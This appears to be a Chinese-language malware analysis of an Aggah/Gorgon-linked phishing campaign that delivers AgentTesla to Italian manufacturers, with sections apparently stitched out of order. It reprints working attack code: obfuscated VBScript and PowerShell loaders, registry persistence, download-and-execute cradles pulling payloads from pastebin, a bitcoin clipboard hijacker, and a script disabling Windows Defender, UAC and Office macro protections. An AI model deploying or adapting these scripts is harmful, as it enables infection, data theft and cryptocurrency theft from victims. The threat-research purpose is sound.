CreateObject("Wscript.Shell").regwrite "HKCU\Software\mogale", "[email protected](102,117,110,99,116,105,111,110,32,105,115,66,105,116,99,111,105,110,65,100,100,114,101,115,115,40,91,115,116,114,105,110,103,93,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,41,10,123,10,9,105,102,40,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,91,48,93,32,45,110,101,32,39,49,39,41,10,9,123,10,9,9,114,101,116,117,114,110,32,36,102,97,108,115,101,10,9,125,10,10,9,36,115,116,114,76,101,110,103,116,104,32,61,32,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,46,108,101,110,103,116,104,10,9,105,102,40,36,115,116,114,76,101,110,103,116,104,32,45,108,116,32,50,54,32,45,111,114,32,36,115,116,114,76,101,110,103,116,104,32,45,103,116,32,51,53,41,10,9,123,10,9,9,114,101,116,117,114,110,32,36,102,97,108,115,101,10,9,125,10,10,9,36,118,97,108,105,100,82,101,103,101,120,32,61,32,39,94,91,97,45,122,65,45,90,48,45,57,92,115,93,43,36,39,10,9,105,102,40,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,32,45,99,110,111,116,109,97,116,99,104,32,36,118,97,108,105,100,82,101,103,101,120,41,10,9,123,10,9,9,114,101,116,117,114,110,32,36,102,97,108,115,101,10,9,125,10,10,9,114,101,116,117,114,110,32,36,116,114,117,101,10,125,10,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,32,61,32,40,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,41,10,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,83,105,122,101,32,61,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,46,108,101,110,103,116,104,10,36,105,32,61,32,48,10,36,111,108,100,65,100,100,114,101,115,115,83,101,116,32,61,32,34,34,10,119,104,105,108,101,40,49,41,10,123,10,9,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,32,61,32,71,101,116,45,67,108,105,112,98,111,97,114,100,10,9,105,102,40,40,105,115,66,105,116,99,111,105,110,65,100,100,114,101,115,115,40,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,41,41,32,45,99,101,113,32,36,116,114,117,101,32,45,97,110,100,10,9,9,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,32,45,99,110,101,32,36,111,108,100,65,100,100,114,101,115,115,83,101,116,41,10,9,123,10,9,9,83,101,116,45,67,108,105,112,98,111,97,114,100,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,91,36,105,93,10,9,9,36,111,108,100,65,100,100,114,101,115,115,83,101,116,32,61,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,91,36,105,93,10,9,9,36,105,32,61,32,40,36,105,32,43,32,49,41,32,37,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,83,105,122,101,10,9,125,10,125);[System.Text.Encoding]::ASCII.GetString($cici)|IEX" , "REG_SZ"
Const HIDDEN_WINDOW = 0strComputer = "."Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set objStartup = objWMIService.Get("Win32_ProcessStartup")Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")errReturn = objProcess.Create( "powershell.exe ((gp HKCU:\Software).mogale)|IEX", null, objConfig, intProcessID)
self.close
< /script >

代码段7

即使在这种情况下,也将使用相同的变量名“$ cici”嵌入其中的powershell脚本,但其主体如下:

20.png

代码段8

该脚本会在受害设备的剪贴板中进行持续检查,查找比特币地址,其中一些地址也经过硬编码。最后一个阶段是UyFaSxgj:

< script language="VBScript" >Const HIDDEN_WINDOW = 0strComputer = "."Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set objStartup = objWMIService.Get("Win32_ProcessStartup")Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")errReturn = objProcess.Create( "powershell.exe -nologo -WindowStyle Hidden $_Xpin = ((New-Object Net.WebClient).DowNloAdSTRiNg('h'+'t'+'t'+'p'+'s'+':'+'/'+'/'+'p'+'a'+'s'+'t'+'e'+'b'+'i'+'n'+'.'+'c'+'o'+'m'+'/'+'r'+'a'+'w'+'/eyGv9x4B'));$_Xpin=$_Xpin.replace('.','*!(@*#(#*','0');$_Xpin = $_Xpin.ToCharArray();[Array]::Reverse($_Xpin);[byte[]]$_PMP = [System.Convert]::FromBase64String($_Xpin);$_1 = [System.Threading.Thread]::GetDomain().Load($_PMP);$_1.EntryPoint.invoke($S,$X)", null, objConfig, intProcessID)
self.close
< /script >

代码段9

该组件通过powershell脚本生成了一个来自pastebin eyGv9x4B的二进制文件,但是不幸的是,在分析时,该粘贴已被删除。

这个示例可以向研究人员暗示由攻击者构建的恶意基础架构的强大功能,其中组件可以随时被删除或替换为另一个组件。

有效载荷

如前所述,最终的有效载荷是AgentTesla,它仍然是目前行的恶意软件之一,会窃取有关受害者的大量敏感信息。在过去的几年中,研究人员不断研究这种软件的演变,并列举了该攻击组织窃取的所有敏感数据。

然而,同样在这种情况下,研究人员获得了最终的有效载荷和SMTP客户端的配置,该客户端将发送被盗取的信息:

22.png

AgentTesla SMTP客户端的配置

攻击者已临时创建域“atn-com.pw”,以管理感染活动。通过研究域的正常运行时间,研究人员能够重构攻击攻击者的感染活动。

23.png

有关C2正常运行时间统计信息

如上所示,该域名已在1月的最后几天注册,并且自四月中旬以来一直处于活动状态

总结

毫无疑问,隐藏在这场攻击背后的攻击者在近几个月持续对意大利的生产运营的许多组织持续发起了网络攻击。这些年来开发和测试的复杂的感染链为该攻击组织提供了绕过许多传统安全防御层所需的破坏力。

在此期间,攻击者的传播基础设施被用来安装不同种类的恶意软件:大多数时候,是远程访问木马以及信息和凭据窃取软件。这类恶意软件能够启用网络间谍活动和知识产权盗窃活动,从而有可能在黑市上转售这些被盗的信息。

攻击指标

微信截图_20200614184845.png

5月份,有网络安全公司发现了有一种攻击专门针对在全球范围内从事制造业的意大利公司,其中一些公司还属于汽车生产制造商。

该活动背后的团队与研究人员在Roma225、Hagga、Mana、YAKKA中所描述的恶意操作中发现的团队相同。该攻击团队于2018年首次被Unit42(网络安全提供商Palo Alto Networks的攻击情报部门)发现,当时在美国、欧洲和亚洲的科技、零售、制造和地方政府产业的大规模恶意攻击中,该团队首次出现。研究人员还发现该团队与Gorgon APT相关,但没有明确的证据证实这一点。

Gorgon APT(高级持久攻击)是一个老牌且高危的在线攻击,由Unit 42研究人员于2018年2月首次发现。自2018年2月首次被发现以来,Gorgon APT一直在策划对政府组织(美国、英国、俄罗斯、西班牙等)的攻击以及对全球企业目标的攻击。当进行网络犯罪和针对国家的攻击时,Gorgon组织经常与他人共享其攻击基础设施,这使APT组织更易于跟踪这些操作。

在Gorgon APT的基础设施中,研究人员能够识别出几种犯罪软件样本,包括特洛伊木马、NjRat等远程访问工具(RAT)和LokiBot等信息窃取工具。这些软件都托管在Gorgon组织的命令和控制(C2)域上。有趣的是,Gorgon APT不仅使用了传统的C2策略,它还使用了各种URL缩短服务来下载其有效载荷。这使得其犯罪活动更加广泛,难以追踪、识别和根除。

但是,为了跟踪分析,研究人员综合了所有受监控的攻击事件及其TTP和最终有效载荷:

1.png

从表中可以看出,Aggah攻击虽然随着时间的变化而发生了改变,但仍保持一些共同点。所有活动的初始阶段都使用了带有宏的office文档(PowerPoint或Excel),其中一些使用了注入方法。

所有攻击操作均使用“签名二进制代理执行”技术来滥用Mshta(一种合法的Microsoft工具),并且至少使用可执行文件进行感染。此外,在某些攻击活动中已经报告了使用PowerShell阶段或滥用合法Web服务的情况。

此外,CMSTP绕过攻击是仅在2020年才出现的一项新功能,因为被发现可利用此漏洞的首批恶意软件可追溯到2019年中,这使研究者误认为攻击者喜欢使用那些时髦的,处于比较前沿的攻击技术。关于持久性机制,研究人员注意到攻击者使用了最初计划的任务,但是在最新感染中使用了注册表运行键。所有攻击都至少使用一种混淆方法,这使得分析更加困难。

通过观察最后一个有效载荷的状态,可以肯定攻击者一直在往攻击中添加新的攻击能力。一开始,恶意软件开发者使用的是Revenge RAT,由于异常先进的传播技术和支持设施,Revenge RAT恶意软件越来越隐蔽。一旦攻击成功,攻击者便能够通过他造成严重破坏,可以通过键盘记录器或其他间谍软件监控用户行为、窃取个人信息以及分发其他恶意软件。后来,开发者有使用的是AZORult,AZORult是一种信息窃取的恶意软件,随着时间的推移已经发展成为一种多层功能的软件。今年3月,Reason Labs的网络安全研究员发现一个武器化的冠状病毒地图应用程序,用于传播AZORult恶意软件(于2016年首次被发现),目的是窃取存储在用户浏览器中的用户名、密码、信用卡号等敏感信息。4月Azorult又通过PPT文档传播,用户一旦打开就会启动恶意程序下载Azorult窃密木马,导致账号密码丢失、信息泄漏等严重后果。再后来,恶意软件的开发者就是用了Agent Tesla,这是目前开发者添加的最新攻击要素。Agent Tesla是一个基于.Net的商业化信息窃取程序,至少从2014年开始活跃,具有按键记录和远程访问Trojan(RAT)功能。该信息窃取程序还用于收集系统信息,窃取剪贴板内容以及杀死与恶意软件分析相关的进程和防病毒解决方案。今年4月攻击者利用Agent Tesla间谍软件以能源公司为目标,这些电子邮件充分利用了当今石油和天然气市场动荡的性质,攻击者利用人们对这次危机的担忧,冒充埃及著名的工程承包商(石油和加工工业工程公司,简称Enppi)。研究人员说,被列为目标的能源公司分布在马来西亚、美国、伊朗、南非、阿曼和土耳其以及菲律宾等地。受害者多为石油和天然气、木炭加工、水力发电厂、原材料制造和大型商品运输行业。6月份,亚信安全截获了一款伪装成屏幕保护程序的Agent Tesla间谍木马。该木马通过检测进程名称的方式达到反调试目的,经过解密后采用进程镂空的方式最终执行恶意攻击载荷。其会窃取多个浏览器登录凭证和COOKIE信息,截取屏幕信息,记录键盘按键,最后将收集到的数据通过SMTP发送到黑客的邮箱。

技术分析

感染链从一个带有恶意宏的恶意Microsoft Powerpoint工具开始。

2.png

样本信息

宏的内容很容易阅读,内容简短易读:

3.png

恶意宏的内容

VBA宏负责下载并执行从pastebin中检索到的恶意代码。 j [.mp是网址缩短服务,以下请求重定向并下载pastebin内容:

4.png

MSHTA攻击链

与以前的活动一样,该攻击者使用签名二进制代理执行(ID:T1218)技术来滥用“mshta.exe”(T1170)一个经过签名且合法的Microsoft工具。攻击者可以使用mshta.exe代理恶意.hta文件,Javascript或VBScript的执行。

5.png

Bnv7ruYp粘贴的代码片段

如上图所示,通过用代表字符的UTF-8编码的一个,两个或三个转义序列替换某些字符的每个实例,对代码进行简单的URI编码。

6.png

代码段1

此阶段充当一个传播过程,实际上,它通过mshta.exe下载并执行一些pastebin内容。

7.png

NIBBI作者的证据

这个lasta活动被冠以传播恶意粘贴的Pastebin用户的名字。这次的名字是“NIBBI”,第一个组件是5CzmZ5NS:

8.png

5CzmZ5NS粘贴的代码片段

第二个是sJEBiiMw:

9.png

sJEBiiMw粘贴的代码片段

第三个,YL0je2fU:

10.png

YL0je2fU粘贴的代码片段

第四部分,UyFaSxgj:

11.png

UyFaSxgj粘贴的代码片段

这种混淆技术是该特定攻击的典型特征,攻击者在许多恶意操作中都充分利用了这种混淆技术。而且,使用诸如pastebin(T1102)之类的合法网站会产生大量掩盖,例如经常被列入白名单的优势。使用这样的服务可以减少C2的暴露,在过去,其他攻击者(例如APT41,FIN6或FIN7)也使用类似的技术将攻击基础结构信息与其植入配置分离。

一旦解码了第一个组件(5CzmZ5NS),它就会揭示一些逻辑,如代码片段2所示。首先,该脚本将注册表项设置为Windows持久性机制(T1060),在其中执行以下命令

"mshta vbscript:Execute(""CreateObject(""""Wscript.Shell"""").Run """"powershell ((gp HKCU:\Software).iamresearcher)|IEX"
< script language="VBScript" >CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\bin", "mshta vbscript:Execute(""CreateObject(""""Wscript.Shell"""").Run """"powershell ((gp HKCU:\Software).iamresearcher)|IEX"""", 0 : window.close"")", "REG_SZ"
CreateObject("Wscript.Shell").regwrite "HKCU\Software\iamresearcher", "$fucksecurityresearchers='contactmeEX'.replace('contactme','I');sal M $fucksecurityresearchers;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$iwannajoinuiwannaleavedsshit = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $iwannajoinuiwannaleavedsshit;$iwannaleftsellingtools= New-Object -Com Microsoft.XMLHTTP;$iwannaleftsellingtools.open('GET','https://pastebin.com/raw/rnS6CUzX',$false);$iwannaleftsellingtools.send();$iwannaleftsellingtoolsy=$iwannaleftsellingtools.responseText;$asciiChars= $iwannaleftsellingtoolsy -split '-' |ForEach-Object {[char][byte]""0x$_""};$asciiString= $asciiChars -join ''|M;[Byte[]]$Cli2= iex(iex('(&(GCM *W-O*)'+ 'Net.'+'WebC'+'lient)'+'.Dow'+'nload'+'Str'+'ing(''https://pastebin.com/raw/Rk4engdU'').replace(''#'',''!#[email protected]#'').replace(''!#[email protected]#'',''0x'')')) | g;$iwannaleftsellingtools=[System.Reflection.Assembly]::Load($decompressedByteArray);[rOnAlDo]::ChRiS('InstallUtil.exe',$Cli2)" , "REG_SZ"
Const HIDDEN_WINDOW = 0strComputer = "."Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set objStartup = objWMIService.Get("Win32_ProcessStartup")Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")errReturn = objProcess.Create( "powershell ((gp HKCU:\Software).iamresearcher)|IEX", null, objConfig, intProcessID)'i am not a coder not a expert i am script kiddie expert i read code from samples on site then compile in my way'i am not a coder 😉 i watch you on twitter every day thanks 🙂 i love my code reports!'i am not a coder! bang 😉
self.close
< /script >

代码段2

该代码包含与安全研究人员的twitter社区相关的一些“有趣”注释,这些注释不断监视攻击者的操作。然后,通过Rk4engdU粘贴标识最终的有效载荷。

13.png

rnS6CUz粘贴的一部分

解码此十六进制流,研究人员得到以下powershell代码:

14.png

代码段3

Powershell装载机

代码段3是一个Powershell脚本,其中声明了函数“UNpaC0k33333000010001147555”,目的是以正确的方式操作两个有效载荷。它们都是.NET二进制文件,消除混淆的代码存储在deblindB变量中,然后执行。

如名称deblindB所建议的,调用“Amsi”类的静态方法“Bypass”的执行。

15.png

Amsi绕过漏洞利用证据

相反,嵌入在变量$ MNB内的有效载荷是另一种注入工具,但是这个工具不是由脚本执行的,可能是因为两个二进制文件执行相同的操作,而且只有一个就足够了。

至此,研究人员不断获取“sJEBiiMw”组件:

< script language="VBScript" >Const HIDDEN_WINDOW = 0strComputer = "."Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set objStartup = objWMIService.Get("Win32_ProcessStartup")Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")errReturn = objProcess.Create( "powershell.exe -nologo -WindowStyle Hidden $_Xpin = ((New-Object Net.WebClient).DowNloAdSTRiNg('h'+'t'+'t'+'p'+'s'+':'+'/'+'/'+'p'+'a'+'s'+'t'+'e'+'b'+'i'+'n'+'.'+'c'+'o'+'m'+'/'+'r'+'a'+'w'+'/ygwLUS9C'));$_Xpin=$_Xpin.replace('.','*!(@*#([email protected]#*').replace('*!(@*#([email protected]#*','0');$_Xpin = $_Xpin.ToCharArray();[Array]::Reverse($_Xpin);[byte[]]$_PMP = [System.Convert]::FromBase64String($_Xpin);$_1 = [System.Threading.Thread]::GetDomain().Load($_PMP);$_1.EntryPoint.invoke($S,$X)", null, objConfig, intProcessID)
self.close
< /script >

代码段4

这个脚本从pastebin: ygwLUS9C下载并执行另一个脚本,它是一个使用base64编码的脚本,替换了一些基本字符串。我们还注意到这个可执行文件使用了CMSTP绕过技术(T1191),这在我们之前的报告中已经见过了。

16.png

CMSTP绕过证据

但是,在本文所列举的示例中,存在一个与先前版本不同的新元素:通过CMSTP绕过,将VBS脚本写入“ \%TEMP%\”文件夹中,该脚本执行许多破坏性命令:

17.png

已加载并执行VBS脚本的证据

 On Error Resume NextSet WshShell = CreateObject("WScript.Shell")WshShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware","0","REG_DWORD"WshShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring","0","REG_DWORD"WshShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection","0","REG_DWORD"WshShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable","0","REG_DWORD"
 WScript.Sleep 100
 outputMessage("Set-MpPreference -DisableRealtimeMonitoring $true")outputMessage("Set-MpPreference -DisableBehaviorMonitoring $true")outputMessage("Set-MpPreference -DisableBlockAtFirstSeen $true")outputMessage("Set-MpPreference -DisableIOAVProtection $true")outputMessage("Set-MpPreference -DisableScriptScanning $true")outputMessage("Set-MpPreference -SubmitSamplesConsent 2")outputMessage("Set-MpPreference -MAPSReporting 0")outputMessage("Set-MpPreference -HighThreatDefaultAction 6 -Force")outputMessage("Set-MpPreference -ModerateThreatDefaultAction 6")outputMessage("Set-MpPreference -LowThreatDefaultAction 6")outputMessage("Set-MpPreference -SevereThreatDefaultAction 6")
 
 Sub outputMessage(byval args)On Error Resume NextConst HIDDEN_WINDOW = 0strComputer = "."Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set objStartup = objWMIService.Get("Win32_ProcessStartup")Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")errReturn = objProcess.Create( "powershell " + args, null, objConfig, intProcessID)
 
 End SubOn Error Resume NextConst HIDDEN_WINDOW = 0strComputer = "."Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set objStartup = objWMIService.Get("Win32_ProcessStartup")Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")errReturn = objProcess.Create( "powershell [email protected](36,117,115,101,114,80,97,116,104,32,61,32,36,101,110,118,58,85,83,69,82,80,82,79,70,73,76,69,10,36,112,97,116,104,69,120,99,108,117,115,105,111,110,115,32,61,32,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,65,114,114,97,121,76,105,115,116,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,32,61,32,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,65,114,114,97,121,76,105,115,116,10,36,112,97,116,104,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,67,58,92,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,77,115,98,117,105,108,100,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,67,97,108,99,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,112,111,119,101,114,115,104,101,108,108,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,119,115,99,114,105,112,116,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,109,115,104,116,97,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,99,109,100,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,106,101,99,116,115,70,111,108,100,101,114,32,61,32,39,100,58,92,39,10,65,100,100,45,77,112,80,114,101,102,101,114,101,110,99,101,32,45,69,120,99,108,117,115,105,111,110,80,97,116,104,32,36,112,114,111,106,101,99,116,115,70,111,108,100,101,114,10,102,111,114,101,97,99,104,32,40,36,101,120,99,108,117,115,105,111,110,32,105,110,32,36,112,97,116,104,69,120,99,108,117,115,105,111,110,115,41,32,10,123,10,32,32,32,32,87,114,105,116,101,45,72,111,115,116,32,34,65,100,100,105,110,103,32,80,97,116,104,32,69,120,99,108,117,115,105,111,110,58,32,34,32,36,101,120,99,108,117,115,105,111,110,10,32,32,32,32,65,100,100,45,77,112,80,114,101,102,101,114,101,110,99,101,32,45,69,120,99,108,117,115,105,111,110,80,97,116,104,32,36,101,120,99,108,117,115,105,111,110,10,125,10,102,111,114,101,97,99,104,32,40,36,101,120,99,108,117,115,105,111,110,32,105,110,32,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,41,10,123,10,32,32,32,32,87,114,105,116,101,45,72,111,115,116,32,34,65,100,100,105,110,103,32,80,114,111,99,101,115,115,32,69,120,99,108,117,115,105,111,110,58,32,34,32,36,101,120,99,108,117,115,105,111,110,10,32,32,32,32,65,100,100,45,77,112,80,114,101,102,101,114,101,110,99,101,32,45,69,120,99,108,117,115,105,111,110,80,114,111,99,101,115,115,32,36,101,120,99,108,117,115,105,111,110,10,125,10,87,114,105,116,101,45,72,111,115,116,32,34,34,10,87,114,105,116,101,45,72,111,115,116,32,34,89,111,117,114,32,69,120,99,108,117,115,105,111,110,115,58,34,10,36,112,114,101,102,115,32,61,32,71,101,116,45,77,112,80,114,101,102,101,114,101,110,99,101,10,36,112,114,101,102,115,46,69,120,99,108,117,115,105,111,110,80,97,116,104,10,36,112,114,101,102,115,46,69,120,99,108,117,115,105,111,110,80,114,111,99,101,115,115);[System.Text.Encoding]::ASCII.GetString($cici)|IEX", null, objConfig, intProcessID)
 CreateObject("WScript.Shell").RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA","0", "REG_DWORD"
 
 Set wso = CreateObject("WScript.Shell")wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite 